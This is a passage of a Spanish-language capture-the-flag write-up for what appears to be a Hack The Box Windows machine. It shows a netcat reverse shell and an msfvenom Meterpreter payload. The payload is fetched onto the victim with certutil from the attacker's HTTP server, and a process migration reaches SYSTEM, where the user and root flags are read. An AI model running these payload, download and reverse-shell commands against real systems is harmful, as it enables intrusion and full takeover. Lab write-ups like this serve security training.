❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.87] from (UNKNOWN) [10.10.11.251] 49720
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State  
============================= ============================== =======
SeDebugPrivilege              Debug programs                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER FLAG
---------------------------
PS C:\Users\alaading\Desktop> cat user.txt
cat user.txt
d72c4c3af0e921ef1548f70157b78a14

Pero todavía no tengo acceso al dir Administrator.

PS C:\Users\Administrator> ls
ls
ls : Access to the path 'C:\Users\Administrator' is denied.
At line:1 char:1
+ ls
+ ~~
    + CategoryInfo          : PermissionDenied: (C:\Users\Administrator:String) [Get-ChildItem], UnauthorizedAccessExc 
   eption
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

Elevada de privilegios

Con SeDebugPrivilege habilitado, podemos crear un payload malicioso y posteriormente cargarle para que cuando se ejecute en la máquina víctica establezca una conexión con mi mñaquina atacante.

❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.87 LPORT=88 -f exe -o payload.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: payload.exe

❯ python -m http.server 88
Serving HTTP on 0.0.0.0 port 88 (http://0.0.0.0:88/) ...
10.10.11.251 - - [18/Jun/2024 10:23:12] "GET /payload.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 10:23:12] "GET /payload.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 10:23:29] "GET /payload.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 10:23:36] "GET /payload.exe HTTP/1.1" 200 -

PS C:\Users\alaading> certutil.exe -urlcache -f http://10.10.14.87:88/payload.exe payload.exe
certutil.exe -urlcache -f http://10.10.14.87:88/payload.exe payload.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.


PS C:\Users\alaading> dir

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-r---       10/26/2023   4:57 PM                3D Objects                                                            
d-r---       10/26/2023   4:57 PM                Contacts                                                              
d-r---        1/11/2024   6:43 AM                Desktop                                                               
d-r---       12/25/2023   1:45 PM                Documents                                                             
d-r---       10/26/2023   4:57 PM                Downloads                                                             
d-r---       10/26/2023   4:57 PM                Favorites                                                             
d-r---       10/26/2023   4:57 PM                Links                                                                 
d-r---       10/26/2023   4:57 PM                Music                                                                 
d-r---       10/26/2023   4:57 PM                Pictures                                                              
d-r---       10/26/2023   4:57 PM                Saved Games                                                           
d-r---       10/26/2023   4:57 PM                Searches                                                              
d-r---       10/26/2023   4:57 PM                Videos                                                                
-a----        6/18/2024   7:26 AM           7168 payload.exe

Ahora escribiendo msfconsole, voy a configurar el explotar para recibir la conexción establecida por el payload.

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.87
LHOST => 10.10.14.87
msf6 exploit(multi/handler) > set LPORT 88
LPORT => 88
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.87:88 
[*] Sending stage (201798 bytes) to 10.10.11.251
[*] Meterpreter session 1 opened (10.10.14.87:88 -> 10.10.11.251:49724) at 2024-06-18 13:55:51 -0400

Y micgro el PID de esta shell o sesión de Meterpreter a un proceso con acceso de sistema que me permite subir los privilegios de la sesión y obtener acceso de sistema en la máquina víctima.

meterpreter > migrate 552
[*] Migrating from 732 to 552...
[*] Migration completed successfully.
meterpreter > shell
Process 2980 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
ROOT FLAG
---------------------------
C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0899-6CAF

 Directory of C:\Users\Administrator\Desktop

01/15/2024  05:11 AM    <DIR>          .
01/15/2024  05:11 AM    <DIR>          ..
06/17/2024  09:01 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   7,169,400,832 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
8d94baa452fa752555747cfdf200175c